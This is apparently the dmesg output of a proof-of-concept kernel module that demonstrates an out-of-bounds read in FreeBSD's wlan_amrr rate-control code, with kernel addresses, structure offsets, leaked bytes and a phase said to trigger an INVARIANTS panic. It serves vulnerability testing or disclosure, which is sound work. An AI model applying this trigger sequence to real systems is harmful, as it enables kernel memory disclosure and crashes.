MD5 (/boot/kernel/wlan_amrr.ko) = 6d1ec16e74c46499
amrroob.run: 0 -> 0
RC=0
===DMESG===
amrroob: loaded (sysctl amrroob.run=1 to start)
amrroob: algorithm=0xffffffff80d69f20 interval=50 ticks (hz=100)
amrroob: node=0xfffff80118420400 size=12208  legacy rs_rates[0..14]=0xfffff8011842066e..0xfffff8011842067c
amrroob: &ni_chan=0xfffff80118420680 (rs_rates +18..+25)  &ni_meshid=0xfffff80118420693 (+37)  &ni_htrates.rs_rates=0xfffff80118420703 (+149)
amrroob: ni_chan pointer value = 0xfffff8008d2e1720
amrroob: PHASE1 11n node_init -> amn_rix=67 (htrates nrates=77, legacy nrates=12)
amrroob: PHASE2 after 9 successful intervals -> amn_rix=76 (valid ONLY for the 77-entry htrates table)
amrroob: PHASE3 after HT->legacy flip: ratectl_rate() returned rix=11; legacy rs_nrates=12; amn_rix=11
amrroob: rix=11 indexes legacy rs_rates[11] => 0xfffff80118420679 is OOB (array ends at rs_rates[14]); byte actually read: 0x6c (ground truth 0x6c at that address)
amrroob: ni_txrate now 0xcc (leaked into every get-node info ioctl / isi_txrate)
amrroob: [rate_stats sysctl content]
amrroob:   |rate: 54 Mbit
amrroob:   |ticks: 2516
amrroob:   |txcnt: 0
amrroob:   |success: 0
amrroob:   |success_threshold: 1
amrroob:   |recovery: 1
amrroob:   |retry_cnt: 0
amrroob: PHASE4 failure-driven walk-down, reading one OOB byte per interval (net.wlanX.rate_stats shows these as 'rate'):
amrroob: PHASE5 tmp-node (empty ratesets): amn_rix=0 ratectl_rate() returned 0 (drivers index rate tables with this; iwm_setrates KASSERTs rix>=0 -> INVARIANTS panic)
amrroob: [rate_stats sysctl content]
amrroob:   |rate: 0 Mbit
amrroob:   |ticks: 2524
amrroob:   |txcnt: 0
amrroob:   |success: 0
amrroob:   |success_threshold: 1
amrroob:   |recovery: 0
amrroob:   |retry_cnt: 0
amrroob: DONE - OOB reads demonstrated via public ratectl API only; guest still alive
amrroob: unloaded